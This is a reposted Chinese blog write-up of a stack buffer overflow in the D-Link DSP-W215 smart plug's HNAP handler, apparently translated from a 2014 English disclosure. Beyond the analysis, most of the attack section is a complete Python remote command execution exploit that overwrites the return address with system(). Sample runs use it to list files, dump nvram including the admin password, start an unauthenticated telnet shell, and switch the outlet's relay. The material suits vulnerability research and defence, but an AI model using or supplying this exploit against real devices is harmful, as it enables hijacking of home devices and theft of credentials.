博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
D-LinkDSP-W215智能插座远程命令执行
阅读量:7050 次
发布时间:2019-06-28

本文共 3655 字,大约阅读时间需要 12 分钟。

livers · 2014/05/20 13:19

0x00 背景


D-Link DSP-W215 智能插座是一款通过无线控制电源开关的插座。现在还不能从亚马逊和百思买买到,但是固件可以从D-Link网站下载(真蛋疼)。

DSP-W215存在一个堆栈溢出漏洞,通过该漏洞可以控制整个插座设备,也能控制插座设备上其他电器设备的开关。

0x01 分析


分析插座的固件:

Lzma 压缩,linux文件系统,uimage 内核压缩镜像。

解压检查文件的内容,发现没有基于web的管理界面,只能用它提供的Android 或者IOS应用进行管理,该应用使用了HNAP(家庭网络管理协议)。

HNAP是基于soap 协议,其req/res如下:

更多查看

这个智能插座用lighttpd轻量级服务器来实现HNAP协议的传输,从lighttpd的配置上看,HNAP请求都发送到了/www/my_cgi.cgi进行处理。

#!bash...alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",               "/HNAP1"  => "/www/my_cgi.cgi",...复制代码

HNAP虽然是需要进行认证的协议,但是某些行为是不需要的,如获取设备信息设置之类。

HNAP请求数据是由在my_cgi.cgi的do_hnap函数处理。do_hnap会首先处理POST请求中指定的Content-Length头。

转换长度(str)为int.

然后,它读取上述长度字节的数据放入一个分配了固定大小的栈中。(500,000字节)

F5转换成c代码为:

#!cppint content_length, i;char *content_length_str;char post_data_buf[500000];content_length = 0;content_length_str = getenv("CONTENT_LENGTH");if(content_length_str){   content_length = strtol(content_length_str, 10);}memset(post_data_buf, 0, 500000);for(i=0; i

明显未对content_length进行检查,可以写入大于500,000字节的数据进行溢出,但是栈里不止包含post_data_buf这个数组,所以需要1,000,020 进行溢出。

#!bashperl -e 'print "D"x1000020; print "A"x4' > overflow.txtwget --post-file=overflow.txt http://192.168.0.60/HNAP1/复制代码

Arm寄存器真蛋疼。

由于是getc获取的数据,所以可以传入空字节。作者测试自己my_cgi.cgi进程中执行system地址0x00405CAC需要读入空字节。

所以 ,只需要把返回地址覆盖成0x00405CAC,并把栈的偏移28位处加入需要执行的指令代码。

0x02 EXP


#!pythonimport sysimport urllib2command = sys.argv[1]buf =  "D" * 1000020         # Fill up the stack bufferbuf += "\x00\x40\x5C\xAC"    # Overwrite the return address on the stackbuf += "E" * 0x28            # Stack fillerbuf += command               # Command to executebuf += "\x00"                # NULL terminate the command stringreq = urllib2.Request("http://192.168.0.60/HNAP1/", buf)print urllib2.urlopen(req).read()复制代码

执行后得到的数据:

#!bash:~$ ./exploit.py 'ls -l /'drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bindrwxrwxr-x    3 1000     1000         4096 May  9 16:04 devdrwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etcdrwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 libdrwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexeclrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busyboxdrwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+founddrwxrwxr-x    7 1000     1000         4096 May  9 15:44 mntdrwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlinkdrwxrwxr-x    2 1000     1000         4096 Nov 11  2008 procdrwxrwxr-x    2 1000     1000         4096 May  9 17:49 rootdrwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbindrwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmpdrwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usrdrwxrwxr-x    3 1000     1000         4096 May  9 16:04 var-rw-r--r--    1 1000     1000           17 Jan 14 14:16 versiondrwxrwxr-x    8 1000     1000         4096 May  9 16:52 www复制代码

也可以直接dump配置:

#!bash:~$ ./exploit.py 'nvram show' | grep adminadmin_user_pwd=200416admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_leveladmin_level=1admin_user_name=adminstorage_user_00=0/admin//复制代码

或通过开启telnet得到一个shell

#!bash:~$ ./exploit.py 'busybox telnetd -l /bin/sh':~$ telnet 192.168.0.60Trying 192.168.0.60...Connected to 192.168.0.60.Escape character is '^]'.BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)Enter 'help' for a list of built-in commands./ #复制代码

打开开关 关闭开关

#!bash/var/sbin/relay 1   # Turns outlet on/var/sbin/relay 0   # Turns outlet off复制代码

作者还搞了个让灯闪烁的脚本:

#!bash#!/bin/shOOK=1while [ 1 ]do   /var/bin/relay $OOK   if [ $OOK -eq 1 ]   then      OOK=0   else      OOK=1   fidone复制代码

D-Link’s DIR-505L也存在这个漏洞。

from:http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/

转载地址:http://ahpol.baihongyu.com/

你可能感兴趣的文章
“智慧城市”建设风生水起
查看>>
楼宇对讲防盗报警系统两大特点
查看>>
使用“伪造”数据是消除大数据隐私问题的关键
查看>>
浅谈信息安全与数据中心安全的关系
查看>>
《PostgreSQL服务器编程》一一2.7 小结
查看>>
Oracle Database 12.2新特性详解
查看>>
IBM:量子计算现在跟1940年代电脑差不多 更看重长远目标
查看>>
研究机构称独角兽更易获得融资 明后年或有大量企业IPO
查看>>
三星将斥资80亿美元收购美国哈曼国际
查看>>
纷享销客变“逍”客 缘何战略一再调整?
查看>>
立标准引导市场化 大数据产业将迎“洗牌期”
查看>>
软件测试建模:Google ACC
查看>>
《 FreeSWITCH权威指南》——1.4 信令
查看>>
Netflix正在消灭传统电视网络
查看>>
eMarketer:物联网正在重塑快速消费品行业
查看>>
Deeplearning4j:如何建设深度学习开源社区
查看>>
移动安全身份认证厂商及产品盘点
查看>>
J2EE的13个规范
查看>>
记录-使用CSDN-markdown编辑器
查看>>
Windows 10将很快允许用户在未安装应用之前首先进行体验
查看>>